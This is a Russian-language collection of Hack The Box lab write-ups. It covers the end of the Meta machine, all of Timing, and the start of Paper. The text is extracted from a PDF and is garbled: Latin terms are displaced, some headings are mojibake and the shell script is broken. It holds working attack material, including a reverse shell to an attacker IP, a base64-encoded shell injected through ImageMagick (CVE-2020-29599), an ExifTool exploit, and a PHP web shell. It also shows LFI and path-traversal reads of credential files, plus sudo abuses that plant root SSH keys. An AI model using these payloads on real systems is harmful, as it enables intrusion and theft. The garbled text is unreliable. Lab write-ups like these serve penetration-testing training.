при годить ся. К сожале нию, никаких точек вхо да най ти не уда лось, поэто му
перей дем к ска ниро ванию сай та.

Ñêàíèðîâàíèå ïîääîìåíîâ

Так как сайт име ет свой собс твен ный домен, сто ит про верить, сущес тву ют ли
у него под домены. Для это го исполь зуем ска нер .ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

Вы пол няем сле дующую коман ду:

ffuf  256   -u http://artcorp.htb/ -t -H 'Host: FUZZ.artcorp.htb' -w 
subdomains-top1million-110000.txt 

Ре зуль тат ска ниро вания под доменов

В выводе получа ем поч ти все сло ва из спис ка, так как код отве та всег да 301.
Поэто му сто ит задать допол нитель ную филь тра цию, к при меру из все го спис- 
ка кодов убрать пере адре сацию (опция ).-mc

ffuf  256   -u http://artcorp.htb/ -t -H 'Host: FUZZ.artcorp.htb' -w 
subdomains-top1million-110000.txt -mc 200,204,401,403,405,500 

Ре зуль тат ска ниро вания под доменов

В ито ге получим новый под домен, а зна чит, обно вим запись ./etc/hosts

10.10.11.140    meta.htb artcorp.htb dev01.artcorp.htb 

ÒÎ×ÊÀ ÂÕÎÄÀ

Пе рехо дим по най ден ному адре су и получа ем прос тень кую стра нич ку
со ссыл кой на при ложе ние, которое находит ся в раз работ ке.

Глав ная стра ница dev01.artcorp.htb

В при ложе нии есть фор ма заг рузки изоб ражений. А это явно точ ка вхо да.

Фор ма заг рузки изоб ражений

Спо собы заг рузить какую-то наг рузку сра зу исчерпа ли себя, а вот воз- 
можнос ти самого при ложе ния зас тавили задумать ся. Если отпра вить кар- 
тинку, нам вер нут ее метадан ные.

Ме тадан ные заг ружен ного при ложе ния

Вы вод веб-при ложе ния очень похож на вывод ути литы . Поп робу ем

поис кать экс пло иты для него.

ExifTool

ÒÎ×ÊÀ ÎÏÎÐÛ

Для поис ка экс пло итов я обыч но исполь зую Google. С его помощью я нашел
 для CVE-2021-22204. В ExifTool вер сий с 7.44 до 12.24 мож но

выпол нить про изволь ный код при раз боре изоб ражения из-за некор рек тной
обра бот ки поль зователь ских дан ных в фор мате DjVu. Для работы экс пло ита
необ ходимо уста новить сле дующие прог рам мные пакеты.

экс пло ит

apt sudo install djvulibre-bin exiftool 

В стро ках 6 и 7 ука зыва ем адрес сво его хос та и порт, который будет прос- 
лушивать ся лис тенером (откры ваем коман дой ).rlwrap -cAr nc -lvp 4321

Ис ходный код экс пло ита

В стро ке 24 вызыва ется сам ExifTool и ему переда ется файл с нас трой ками.
При мер кон фига мне уда лось най ти в дру гой реали зации экс пло ита
(параметр  дол жен быть как в стро ке 24 экс пло ита).Name

  %Image::ExifTool::UserDefined = (
    'Image::ExifTool::Exif::Main' => {

        0xc51b => {
            Name => 'HasselbladExif',

            Writable => 'string',
            WriteGroup => 'IFD0',

      },
  },
);
1;

Те перь запус тим скрипт для генера ции вре донос ного фай ла. Если все прой- 
дет удач но, мы дол жны получить сле дующее сооб щение.

За пуск фай ла репози тория

Пос ле заг рузки этой кар тинки момен таль но получа ем реверс-шелл на свой
лис тенер.

Бэк коннект

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь, ког да мы получи ли дос туп к хос ту, нам надо соб рать информа цию.
Вся ких зако улков в сис теме мно го, и, что бы не дер жать их все в голове, были
раз работа ны скрип ты .PEASS

Справка: скрипты PEASS для Linux
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Ис поль зуем скрипт для Linux и, ког да он отра баты вает, находим в его резуль- 
татах сле дующую информа цию:

в сис теме уста нов лен ImageMagick;•
нам дос тупны для записи два инте рес ных катало га — 
и .

• convert_images
uploads

Фай лы, веро ятно содер жащие SSH-клю чи

Ка тало ги, дос тупные для записи

Боль ше ничего в гла за не бро силось, а что делать с тем, что име ем, непонят- 
но. Тог да поп робу ем отсле дить запус каемые в сис теме про цес сы. Для это го
будем исполь зовать .pspy

Ло ги pspy64

Об наружи ваем регуляр но запус каемый от име ни поль зовате ля (UID=1000)
файл . Это скрипт на Bash — прос- 

мотрим его содер жимое.

/usr/local/bin/convert_images.sh

Со дер жимое фай ла convert_images.sh

В скрип те изоб ражения кон верти руют ся из обна ружен ного ранее катало га
с помощью ути литы . Опре делим, какая вер сия ути литы исполь зует ся.mogrify

mogrify -version

Оп ределе ние вер сии mogrify

Так как мы зна ем вер сию про дук та, мож но поис кать готовые экс пло иты.

По иск экс пло итов в Google

Вто рая ссыл ка из Google ука зыва ет на уяз вимость .
ImageMagick вер сии до 6.9.11-40 и с 7.x до 7.0.10-40 неп равиль но обра баты- 
вает параметр , который поз воля ет уста новить пароль

для защищен ных паролем фай лов PDF. Пароль, который уста нав лива ет поль- 
зователь, не обра баты вает ся дол жным обра зом, что откры вает воз можность
инъ екции коман ды тер минала через .

CVE-2020-29599

authenticate

coders/pdf.c

Де тали уяз вимос ти

Пер вым делом откро ем еще один лис тенер ( )

и закоди руем реверс-шелл, что поз волит выпол нить его в кон вей ере:

rlwrap -cAr nc -lvp 5432

 echo '/bin/sh -i >& /dev/tcp/10.10.14.47/5432 0>&1'

Ко диро вание наг рузки

Те перь исполь зуем сле дующий шаб лон для экс плу ата ции уяз вимос ти. Коман- 
да дол жна быть встав лена в параметр  тега , а наз вание
самого фай ла — в параметр  тега . Файл  копиру- 

ем в каталог  и ожи даем

под клю чения.

authenticate image
xlink:href image expl.svg

/var/www/dev01.artcorp.htb/convert_images/

 <image authenticate='ff" `echo $(echo 
L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Ny81NDMyIDA+JjEK | 
base64 -d | /bin/bash )> /dev/shm/0wned`;"'>

 <read filename="pdf:/etc/passwd"/>
   <get width="base-width" height="base-height" />

  <resize geometry="400x400" />
  <write filename="test.png" />

    <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">

   <image xlink:href="msl:expl.svg" height="100" width="100"/>
</svg>
</image>

При ват ный ключ поль зовате ля

Пос ле бэк коннек та получим при ват ный ключ поль зовате ля и под клю чим ся
по SSH.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Ба зовую раз ведку на хос те мы уже про води ли и такие вещи, как при ложе ния
с выс тавлен ным битом SUID, прос лушива емые для локаль ного хос та пор ты
и запус каемые при ложе ния, прос матри вали. Оста лась толь ко одна вещь,
которая может изме нить ся вмес те с изме нени ем рабоче го кон тек ста, — нас- 
трой ки sudoers.

 sudo -l

Нас трой ки судо ера

Мы можем без вво да пароля выпол нить коман ду 
от име ни поль зовате ля root.  — это очень прос тая в исполь зовании

и кросс-плат формен ная ути лита, которая поз воля ет отоб ражать информа цию
о сис теме в тер минале.

/usr/bin/neofetch ""
Neofetch

За пуск при ложе ния neofetch

Пер вым делом я решил поис кать его в базе  — это спи сок дво- 

ичных фай лов Unix, которые мож но исполь зовать для обхо да локаль ных огра- 
ниче ний безопас ности в неп равиль но нас тро енных сис темах. Там и находим
спо соб экс плу ата ции при ложе ния под судо ером.

GTFOBins

Тех ника экс плу ата ции sudo neofetch

Смысл тех ники в том, что бы записать коман ду тер минала в кон фиг, который
нуж но передать neofetch. Но в нашем слу чае судо ер выпол нит жес тко ука зан- 
ную коман ду. Тог да поп робу ем най ти кон фиг по умол чанию 

 и записать коман ду в него.
$HOME/.config/

neofetch/config.conf

Со дер жимое фай ла cong.conf

Те перь ука зыва ем перемен ную сре ды , что бы путь к кон- 

фигу сущес тво вал в кон тек сте судо ера.

XDG_CONFIG_HOME

export XDG_CONFIG_HOME="$HOME/.config"

Те перь при выпол нении при ложе ния выпол нится и наша коман да, и мы
получим коман дную обо лоч ку в высокоп ривиле гиро ван ном кон тек сте.

Флаг рута

Флаг рута — в наших руках, машина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/convisolabs/CVE-2021-22204-exiftool
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/DominicBreuker/pspy
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29599
https://gtfobins.github.io/


HTB

TIMING

ПЕНТЕСТИМ ВЕБ-СЕРВЕР НА PHP

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня мы с тобой прой дем путь
от базово го ска ниро вания сай та до экс плу- 
ата ции уяз вимос ти типа LFI и заг рузки шел- 
ла. Для зах вата рута нам понадо бит ся най ти
уяз вимость в при ложе нии на Java.
А упражнять ся мы будем на сред ней
по слож ности машине Timing с пло щад ки

.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.135    timing.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш ли два откры тых пор та:
22 — служ ба OpenSSH 7.6p1;•
80 — веб-сер вер Apache 2.4.29.•

На SSH нам ловить нечего, про пус каем его.

Справка: брутфорс учеток
Пос коль ку вна чале у нас нет учет ных дан ных, нет и смыс ла изу чать служ бы,
которые всег да тре буют авто риза ции (нап ример, SSH). Единс твен ное, что мы
можем делать здесь, — это переби рать пароли брут форсом, но машины
с HTB поч ти всег да мож но прой ти по-дру гому. В жиз ни таких вари антов
может не быть, к тому же есть шан сы подоб рать пароль или получить его
при помощи соци аль ной инже нерии.

Пос мотрим, что нам покажет веб-сер вер. При обра щении к нему про исхо дит
редирект на стра ницу , где нас встре чает фор ма авто риза ции./login.php

Фор ма авто риза ции

По нят но, что сайт не однос тра нич ный, поэто му поп робу ем най ти скры тые
стра ницы. Так как пер вая стра ница была в фор мате PHP, осталь ные будем
переби рать с таким же рас ширени ем. Я для это го вос поль зуюсь ска нером

.ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

За пус каем его с нуж ными парамет рами:

ffuf  256 -u http://timing.htb/FUZZ -t -w php_files_common.txt 

Ре зуль тат ска ниро вания фай лов PHP

Наш ли мно го фай лов, теперь прос каниру ем и скры тые катало ги.

ffuf  256 -u http://timing.htb/FUZZ -t -w directory_2.3_medium_
lowercase.txt 

Ре зуль тат ска ниро вания скры тых катало гов

В ито ге находим катало ги для хра нения скрип тов и изоб ражений. Боль ше нам
ничего не дос тупно. Ска ниро вание фай лов бэкапов и под доменов ничего
не дало. Но мы еще не поис кали парамет ры! Для ска ниро вания логич но выб- 
рать стра ницу , которая пред положи тель но дол жна воз вра щать

изоб ражения. Так как мы не зна ем, что будет переда но в качес тве зна чения
парамет ра, поп робу ем передать само наз вание стра ницы в надеж де
получить какую-нибудь ошиб ку.

image.php

ffuf    256 
 0 

-u 'http://timing.htb/image.php?FUZZ=../image.php' -t -w 
parameters.txt -fs

Ре зуль тат ска ниро вания парамет ра

Мы наш ли один параметр — . То есть мы можем зап росить файл с кар- 
тинкой по его наз ванию. Поп робу ем таким спо собом ута щить какой-нибудь
сис темный файл, задав отно ситель ный путь.

img

Со обще ние, что обна руже на ата ка

Нас пой мали за руку!

ÒÎ×ÊÀ ÂÕÎÄÀ

Здесь, судя по все му, исполь зуют ся какие-то филь тры, которые меша ют нам
читать любой файл. Я поп робовал раз ные вари анты обер ток для парамет ра
и обна ружил, что сра баты вает зап рос вот такого вида:

/image.php?img=php://filter/convert.base64-encode/resource=index.php 

Справка: LFI в PHP
Local le inclusion (LFI) — тех ника, которая исполь зует ся для получе ния дос-
тупа к фай лам в сис теме через веб-сер вер. Что бы сер вер отоб разил файл,
а не попытал ся его выпол нить, ему нуж но передать «обер тку» — коман ды,
которые закоди руют файл. Пос ле его получе ния оста нет ся лишь рас кодиро- 
вать его обратно. Сущес тву ет мно жес тво , которые ты
можешь при менять при пен тесте.

го товых обер ток

Со дер жимое этой стра ницы, получен ной в ответ, будет закоди рова но
в Base64. Декоди ровать мож но пря мо в Burp, нажав Ctrl-Shift-B.

По луче ние кода стра ницы index.php

Так как мы можем получить код любой стра ницы, идем по поряд ку и заг- 
лядыва ем в исходный код стра ницы .login.php

Ис ходный код login.php

В нем ничего инте рес ного нет, кро ме под клю чения фай ла 

(стро ка 10). Конеч но же, прос мотрим и его. Здесь мы находим учет ку для под- 
клю чения к базе дан ных.

db_conn.php

Ис ходный код db_conn.php

Па роль пока ни к чему не подошел, поэто му копа ем даль ше. Перей дем к фай- 
лам, о которых мы уже зна ем. Нач нем с .upload.php

Ис ходный код upload.php

В самом начале под клю чает ся файл . Затем зада ются
необ ходимые парамет ры для заг ружен ного фай ла, в том чис ле и .

Имя фай ла соз дает ся по сле дующе му алго рит му: берет ся стро ка
, затем добав ляет ся текущее вре мя (резуль тат выпол нения

фун кции ), все это кон верти рует ся в хеш MD5, а даль ше добав ляет ся

знак ниж него под черки вания и имя фай ла, которое исполь зовалось при заг- 
рузке. При этом файл дол жен иметь рас ширение jpg. А в фай ле

 толь ко срав нива ется роль поль зовате ля.

admin_auth_check.php
file_name

'$file_hash'
time()

admin_auth_check.php
Ес ли бы  кто-то по ошиб ке не обер нул в кавыч ки, то под ста- 

вилось бы зна чение перемен ной, получен ное от PHP-фун кции . Раз- 
гадать уни каль ный иден тифика тор у нас бы не выш ло, а без него единс твен- 
ной прег радой будет вывод фун кции .

$file_hash
uniqid()

time()

Ис ходный код admin_auth_check.php

Впро чем, пока что здесь боль ше ничего не сде лать, и при дет ся бру тить фор- 
му авто риза ции. Для начала най дем име на поль зовате лей, к при меру в фай ле

./etc/passwd

Со дер жимое фай ла /etc/passwd

Но при под боре пароля сра зу поп робу ем исполь зовать имя поль зовате ля
в качес тве пароля, и это дает нам дос туп.

Па нель авто ризо ван ного поль зовате ля

Нам откры вает ся новая фун кция — изме нение про филя.

Фор ма изме нения про филя

При отправ ке дан ных фор мы выяс ним, куда они шлют ся, а потом получим код
этой стра ницы, что бы прос мотреть, как обра баты вают ся дан ные.

Ис тория зап росов в Burp

Ис ходный код update.php

Продолжение статьи →
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

Ви дим, что в обра бот чике на один параметр боль ше, чем отправ ляет ся через
фор му. Зна чит, мы можем добавить  и задать любую роль. Это дол жно

дать нам при виле гиро ван ный кон текст.

role

Но вый зап рос

От вет сер вера

В ито ге мы получа ем ответ со все ми перечис ленны ми парамет рами, а на
самой стра нице появ ляет ся ссыл ка на панель адми нис тра тора.

Глав ная стра ница адми нис тра тора

ÒÎ×ÊÀ ÎÏÎÐÛ

С панели адми нис тра тора нам откры вает ся фун кция заг рузки ава тара.

Фор ма заг рузки фай ла

Мы зна ем, что это дол жен быть файл с рас ширени ем jpg. Но вот толь ко его
содер жимое не про веря ется, поэто му мы можем записать туда код на PHP
и затем поп робовать выпол нить. Запишем сле дующий прос той PHP-шелл,
выпол няющий при нятую коман ду, и заг рузим файл на сер вер.

  echo '<?php echo system($_GET["cmd"]);?>' > test.jpg 

Со обще ние о заг рузке фай ла

Файл успешно заг ружен, теперь опре делим ся с име нем, под которым он сох- 
ранил ся на сер вере. Для это го вспом ним прин цип, по которо му он фор миру- 
ется.

Код фор мирова ния име ни заг ружен ного фай ла

Единс твен ная перемен ная, которую нам оста лось получить, — зна чение фун- 
кции . Эта фун кция воз вра щает количес тво секунд, про шед ших

с 00:00:00 01.01.1970. И если мы зна ем вре мя заг рузки фай ла, уста нов- 
ленное на сер вере, мы смо жем получить это зна чение. Так как вся работа
выпол няет ся через Burp, в исто рии зап росов най дем HTTP-заголо вок отве та
сер вера. В заголов ке  будет ука зано нуж ное нам вре мя.

time()

Date

HTTP-заголо вок отве та сер вера при заг рузке фай ла

Те перь мы можем получить зна чение MD5 от сло жения всех строк:

   echo md5('$file_hash' . strtotime("Wed, 05 Jan 2022 13:19:51 GMT"));

Рас чет пер вой час ти име ни фай ла

Нам нуж но обра щать ся к фай лу вот с таким име нем:

e3879d6c6425db4ad6e139681d11693d_test.jpg 

Поп робу ем с помощью нашего хеша выпол нить базовую коман ду .id

curl 'http://timing.htb/image.php?img=images/uploads/
e3879d6c6425db4ad6e139681d11693d_test.jpg&cmd=id'

Вы пол нение коман ды id

Ко ман да успешно выпол нена, что озна чает получе ние дос тупа к хос ту.

ÏÐÎÄÂÈÆÅÍÈÅ

Для даль нейше го прод вижения нам необ ходимо най ти учет ные дан ные.
Для это го пред сто ит изу чить фай лы в катало ге веб-сер вера, все воз можные
резер вные копии и дру гие поль зователь ские фай лы. Так находим бэкапы
исходни ков в катало ге ./opt

Со дер жимое катало га /opt

Ко пиру ем архив в каталог веб-сер вера и лег ко ска чива ем через бра узер.

curl 'http://timing.htb/image.php?img=images/uploads/
e3879d6c6425db4ad6e139681d11693d_test.jpg&cmd=cp+/opt/
source-files-backup.zip+./'

Ска чива ние исходных кодов через бра узер

В архи ве при сутс тву ет каталог с рас ширени ем git. Это поз волит нам получить
дос туп к исто рии изме нений фай лов.

Со дер жимое архи ва

Для удоб ной работы с репози тори ями Git мож но исполь зовать гра фичес кий
прос мот рщик gitk. Он помог най ти изме нение пароля для под клю чения к базе
дан ных.

Из менение в фай ле db_conn.php

А вот уже с этим паролем уда ется под клю чить ся по SSH и заб рать пер вый
флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пер вым делом про веря ем наибо лее веро ятные мес та повыше ния при виле- 
гий: нас трой ки sudoers, при ложе ния с выс тавлен ным битом SUID, прос- 
лушива емые на локал хосте пор ты. Про верим sudoers коман дой .sudo -l

Нас трой ки судо ера

В нас трой ках про писан при виле гиро ван ный запуск 
без вво да пароля (NOPASSWD). Прос мотрим тип фай ла.

/usr/bin/netutils

Оп ределе ние типа фай ла /usr/bin/netutils

Это обыч ный скрипт. Давай гля нем на его содер жимое.

Со дер жимое фай ла /usr/bin/netutils

Это поль зователь ское при ложе ние на Java. Но так как оно рас положе но
в катало ге рута, мы не можем получить дос туп к самому фай лу и деком- 
пилиро вать его, что бы изу чить. Тог да давай хотя бы запус тим прог рамму
и пос мотрим, как она работа ет.

Ме ню при ложе ния

Нам пред лага ют выб рать одну из опций: FTP или HTTP. Пос ле чего с ука зан- 
ного ресур са заг ружа ется файл.

Со обще ние о заг рузке фай ла

Пос мотрим, что про исхо дит с про цес сами в сис теме при выпол нении это го
при ложе ния. Для отсле жива ния про цес сов будем исполь зовать . Заг- 

рузим его на хост:

pspy64

scp ./pspy64 aaron@timing.htb:/tmp/ 

И выпол ним. В выводе видим запуск скрип та, но, что более инте рес но, пос ле
ука зания адре са для заг рузки исполь зует ся прог рамма  в кон тек сте

поль зовате ля с UID=0, а это поль зователь .

axel
root

Ло ги pspy

Я сра зу поп робовал выпол нить инъ екцию коман ды ОС, но это ничего не дало.

Тес тирова ние OS Command Injection

Од нако мы можем кон фигури ровать  и управлять некото рыми его

парамет рами, к при меру име нем фай ла и катало гом для его сох ранения.
Недол го раз мышляя, про буем сох ранить файл как пуб личный SSH-ключ поль- 
зовате ля root. Для это го в домаш нем катало ге текуще го поль зовате ля сох- 
раним файл  со сле дующим содер жимым:

axel

.axelrc

default_filename = /root/.ssh/authorized_keys 

Файл кон фигура ций axel

На локаль ном хос те сге нери руем пару клю чей ( ) и пере име нуем

пуб личный, что бы он называл ся . Запус тим прос той веб-сер вер
на Python:

ssh-keygen
index.html

python3 -m http.server 80 

А затем обра тим ся к нему из тес тиру емо го при ложе ния.

За пись SSH-клю ча

Ви дим сооб щение с име нем сох ранен ного фай ла, про буем под клю чить ся
с зак рытым клю чом и получа ем кон троль над хос том.

Флаг рута

Ма шина зах вачена, и у нас есть флаг рута.

https://github.com/DominicBreuker/pspy
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PAPER

ПЕНТЕСТИМ WORDPRESS
И ЭКСПЛУАТИРУЕМ БАГ В POLKIT

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В сегод няшнем рай тапе мы про экс плу ати- 
руем уяз вимос ти в популяр ной CMS
WordPress, кор поратив ном мес сен дже ре
RocketChat, а так же раз берем одну
из самых нашумев ших уяз вимос тей — Polkit
LPE. Все это в рам ках лег кой машины Paper
с пло щад ки .Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

. . .     .10 10 11 143 paper htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Скрипт нашел три откры тых пор та: 22 — служ ба OpenSSH 8.0, 80 и 443 —
веб-сер вер Apache 2.4.37. Обыч но в SSL-сер тифика те мож но под смот реть
новые домен ные име на в поле , но не в этот раз.commonName

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

При пен тесте веб-сер висов луч ше все го работать в . Полез но, к при- 
меру, что в Burp History мож но будет прос мотреть всю цепоч ку поль зователь- 
ских зап росов и отве тов сер вера. Так, в HTTP-заголов ке 

находим еще один домен — .

Burp

X-Backend-Server
office.paper

Зап росы в Burp History

То же добав ляем его в ./etc/hosts

. . .  .  .10 10 11 143 paper htb office paper

И на этом домене находим новый сайт.

Глав ная стра ница office.paper

И сно ва Burp History нам помога ет — по стра ницам, к которым обра щает ся
наш кли ент, мы опре деля ем, что на машине уста нов лен WordPress.

Зап росы в Burp History

ÒÎ×ÊÀ ÎÏÎÐÛ

WordPress

На сай те нес коль ко ста тей с ком мента риями, которые мы можем про читать.
И один из ком менти рующих ука зыва ет, что в чер новиках лежат какие-то сек- 
ретные дан ные.

Ком мента рий с сай та

Пос коль ку мы стол кну лись с WordPress, можем вос поль зовать ся спе циаль- 
ными ути лита ми для работы с ней. В пер вую оче редь нам понадо бит ся

 — ска нер, который авто мати чес ки ищет уяз вимос ти в WordPress

и уста нов ленных пла гинах.

WPScan

Пе реда дим ска неру сле дующие парамет ры:
 — URL;• --url
 — поиск уста нов ленных пла гинов;• -e ap

 — спо соб опре деле ния пла гина. Aggressive —
гру бое ска ниро вание перебо ром;

• --plugins-detection

 — количес тво потоков;• -t
 — получен ный с офи циаль ного сай та API-ключ.• --api-token

 ap 
 256  

wpscan --url http://office.paper -e --plugins-detection 
aggressive -t --api-token [...KEY...] 

Об наружен ные уяз вимос ти WordPress

И мы находим уяз вимость, которая поз воля ет читать при ват ные пос ты.
По пре дос тавлен ной ути литой ссыл ке мы получим инс трук цию, как экс плу ати- 
ровать уяз вимость.

Опи сание обна ружен ной уяз вимос ти

Пе рехо дим к стра нице , и нам ста новит ся дос тупным скры тый

пост.

/?static=1

Со дер жимое скры того пос та

На ходим ссыл ку на еще один домен. Добавим его в  и прос-

мотрим в бра узе ре.

/etc/hosts

. . .  .  .  . .10 10 11 143 paper htb office paper chat office paper

Па нель регис тра ции Rocket.Chat

Так мы получа ем дос туп к панели регис тра ции в Rocket.Chat!

Rocket.Chat

Rocket.Chat — это пол ностью нас тра иваемый мес сен джер на JavaScript c
откры тым исходным кодом. Так как мы получи ли дос туп к стра нице регис тра- 
ции, то соз дадим себе акка унт и авто ризу емся.

Глав ная панель Rocket.Chat

Но мы получа ем пус той мес сен джер, поэто му идея узнать при ват ные дан ные
из перепи сок сра зу отпа ла. Одна ко спус тя минуту при ходит сооб щение
от бота!

Вхо дящие сооб щения Rocket.Chat

В рас ска зе о себе и сво их фун кци ях бот упо мина ет воз можность про читать
файл из хра нили ща.

Воз можнос ти бота

Пы таем ся получить вымыш ленный файл, и бот выда ет нам пол ный путь
к пред полага емо му фай лу. И это обыч ный сис темный каталог.

recyclops file test.txt 

Ошиб ка чте ния фай ла

Так как бот прос то пыта ется про читать файл на дис ке, мы можем поп робовать
про экс плу ати ровать уяз вимость обхо да катало га и про читать любой дру гой
файл на сер вере, к при меру ./etc/passwd

recyclops file ../../../../../../etc/passwd 

Со дер жимое фай ла /etc/passwd

И мы получа ем содер жимое ука зан ного фай ла! В подоб ных слу чаях мы уже
дол жны знать, какие фай лы в сис теме наибо лее инте рес ны. Пер вым делом я
попытал ся про читать при ват ный ключ SSH поль зовате ля dwight.

recyclops file ../../../../../../home/dwight/.ssh/id_rsa 

Ошиб ка чте ния фай лов

Та кого фай ла в сис теме нет, но зато нам повез ло с фай лом, содер жащим
перемен ные сре ды выпол нения (окру жения) про цес са.

recyclops file ../../../../../../proc/self/environ 

Со дер жимое фай ла /proc/self/environ

Сре ди перемен ных окру жения есть логин и пароль, который так же под ходит
для служ бы SSH. Логиним ся и забира ем флаг поль зовате ля.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пу ти для даль нейше го прод вижения поищем при помощи PEASS.

Справка: скрипты PEASS для Linux (загрузка через SCP)
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Заг ружа ем на хост это чудес ное средс тво и выпол няем. И сра зу же нам сооб- 
щают об авто мати чес ки най ден ной уяз вимос ти CVE-2021-3560.

Вы вод LinPEAS

Экс пло итов на GitHub мно го, для их поис ка дос таточ но прос то ука зать номер
CVE.

По иск экс пло итов в Google

Для понима ния уяз вимос ти нуж но знать, что такое Polkit. Polkit (PolicyKit) —
биб лиоте ка для UNIX-подоб ных опе раци онных сис тем, поз воля ет пре дос- 
тавить неп ривиле гиро ван ным про цес сам воз можность выпол нять при виле- 
гиро ван ные опе рации. Polkit мож но исполь зовать вмес то sudo, но в отли чие
от sudo Polkit не наделя ет про цесс поль зовате ля повышен ными пра вами,
а поз воля ет точ но кон тро лиро вать, что раз решено, а что зап рещено. Эта
биб лиоте ка исполь зует ся ути литой systemd, а зна чит, и уста нов лена по умол- 
чанию во мно гих дис три бути вах Linux.

Суть уяз вимос ти в том, что Polkit мож но зас тавить обхо дить про вер ки учет- 
ных дан ных для зап росов D-Bus, повышая при виле гии до поль зовате ля root.
Эту уяз вимость мож но экс плу ати ровать от име ни локаль ного поль зовате ля,
нап ример соз дать нового при виле гиро ван ного поль зовате ля. Но что бы
понять архи тек туру уяз вимос ти, нуж но разоб рать связь меж ду Polkit и D-Bus.

Êàê ðàáîòàåò Polkit

Как соз дает ся новый поль зователь через Polkit, изоб ражено на схе ме ниже.
Два про цес са над пун ктир ной лини ей работа ют в неп ривиле гиро ван ном
режиме.

Схе ма вза имо дей ствия D-Bus и Polkit

